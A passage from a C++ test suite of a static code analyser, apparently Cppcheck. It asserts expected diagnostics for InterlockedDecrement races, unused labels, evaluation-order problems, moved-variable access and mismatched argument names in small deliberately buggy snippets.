InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void 